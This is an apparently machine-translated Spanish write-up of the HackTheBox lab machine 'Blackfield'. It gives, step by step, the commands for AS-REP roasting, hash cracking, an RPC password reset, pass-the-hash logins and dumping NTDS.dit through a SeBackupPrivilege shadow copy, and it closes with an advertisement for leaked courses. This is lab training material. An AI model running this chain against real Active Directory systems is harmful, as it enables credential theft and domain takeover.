Sigo publicando soluciones enviadas a la finalización de máquinas desde el sitio HackTheBox .
En este artículo, usaré ASRep Roasting para definir usuarios, RPC para cambiar contraseñas y tomar el control de una cuenta, y luego elevaré nuestros privilegios con una instantánea NTDS.DIT.
La conexión al laboratorio se realiza mediante VPN. Se recomienda no conectarse desde una computadora del trabajo o desde un host donde haya datos importantes para usted, ya que se encuentra en una red privada con personas que saben algo sobre seguridad de la información.
Información organizacional
Recon
Esta máquina tiene una dirección IP de 10.10.10.192, que agrego a / etc / hosts.
10.10.10.192 blackfield.htb
El primer paso es escanear los puertos abiertos. Hago esto usando el siguiente script, que toma un argumento: la dirección del host que se está escaneando:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Vemos muchos puertos abiertos, pero como de costumbre, comencemos con SMB. Veamos si podemos hacer algo sin iniciar sesión.
smbmap -u anonymous -H 10.10.10.192
Y podemos leer los perfiles del directorio $.
smbmap -u anonymous -H 10.10.10.192 -r 'profiles$'2
Tenemos una gran lista de usuarios potenciales. Podemos comprobar qué usuarios están realmente presentes en el sistema. El hecho es que durante un ataque de ASRep Roasting, el servidor tiene tres respuestas diferentes:
- hash de la contraseña del usuario;
- este usuario no tiene UAF Dont Require PreAuth establecido;
- no existe tal usuario en la base de datos de Kerberos.
Así, podremos averiguar quién es y quién no.
Punto de entrada
Primero, obtengamos una lista.
smbmap -u anonymous -H 10.10.10.192 -r 'profiles$' | grep 2020 | awk -F ' ' '{print $8}' > users.txt
Ahora hagamos ASRep-Roasting.
GetNPUsers.py blackfield.local/ -dc-ip 10.10.10.192 -k -no-pass -usersfile ./users.txt
Y me sorprendió cuando nos devolvieron el hachís. Vamos a gruñirlo.
john support.hash -w=./tools/rockyou.txt
Y tenemos toda una cuenta controlada. Ahora obtengamos tanta información como sea posible usando enum4linux.
enum4linux -u support -p '#00^BlackKnight' -a 10.10.10.192 2>/dev/null
Obtendremos una lista enorme de usuarios desconocidos, pero lo más interesante es la pertenencia al grupo. Esto nos dirá que svc_backup está en el grupo RMU (RID: 580), lo que permite conexiones remotas usando Win-RM.
No podemos tomar nada más de SMB, pero no encontramos nada en LDAP. Pero en RPC, resultó que hay un truco. Vamos a conectar:
rpcclient 10.10.10.192 -U support
El hecho es que es posible cambiar la contraseña de un usuario con los mismos privilegios, todo lo que se describe en detalle aquí . Y logré hacer esto para el usuario audit2020.
setuserinfo2 audit2020 18 'ralf'
Ahora comenzamos el análisis de todos los recursos y servicios desde el principio, ya que tenemos otra cuenta controlada.
USUARIO
Pasamos a SMB.
smbmap -u audit2020 -p ralf -d blackfield.local -H 10.10.10.192
Hay mucho para leer, es mejor mostrar todo el contenido de forma recursiva y verlo de una vez.
smbmap -u audit2020 -p ralf -d blackfield.local -H 10.10.10.192 -R
Y en la carpeta forensic \ memory_analysis encontramos, aparentemente, un volcado del proceso lsass. Y de ahí podemos obtener contraseñas usando mimikatz. Descargue este archivo.
smbclient.py blackfield.local/audit2020:ralf@10.10.10.192
Ahora vayamos a la máquina de Windows y usemos mimikatz.
Y, conociendo el hash, usando Evil-WinRM, nos conectamos en nombre de svc_backup.
evil-winrm -i 10.10.10.192 -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d
RAÍZ
Veamos los grupos y privilegios de usuario.
Tenemos el privilegio SeBackupPrivilege. Esto nos da derecho a crear una instantánea del archivo NTDS que contiene muchas credenciales. Después de crear una copia, no podemos simplemente extraer el archivo requerido. Para ello, necesitamos las siguientes DLL .
Hagamos una sombra. Creemos un archivo con el siguiente contenido.
SET CONTEXT PERSISTENT NOWRITERS
add volume c: alias ralfcopy
create
expose %ralfcopy% z:
Y ahora vamos a subirlo y descargar las bibliotecas al host.
Realicemos una instantánea.
diskshadow /s ds.txt
Y volcar el archivo.
Copy-FileSebackupPrivilege z:\Windows\NTDS\ntds.dit C:\Temp\ntds.dit
Pero este archivo está cifrado, y para descifrarlo necesitamos el archivo SYSTEM, que no será un problema para obtenerlo.
reg save HKLM\SYSTEM C:\Temp\SYSTEM
Descargue ambos archivos de la máquina.
Y obtenemos los hash usando secretsdump del paquete impacket.
secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL
Conectémonos como administrador.
evil-winrm -i 10.10.10.192 -u Administrator -H 184fb5e5178480be64824d4cd53b99ee
Tenemos un control total sobre esta máquina.
Puedes unirte a nosotros en Telegram . Allí puede encontrar materiales interesantes, cursos filtrados y software. Reunamos una comunidad, en la que habrá personas con experiencia en muchas áreas de TI, entonces siempre podremos ayudarnos unos a otros en cualquier problema de TI y seguridad de la información.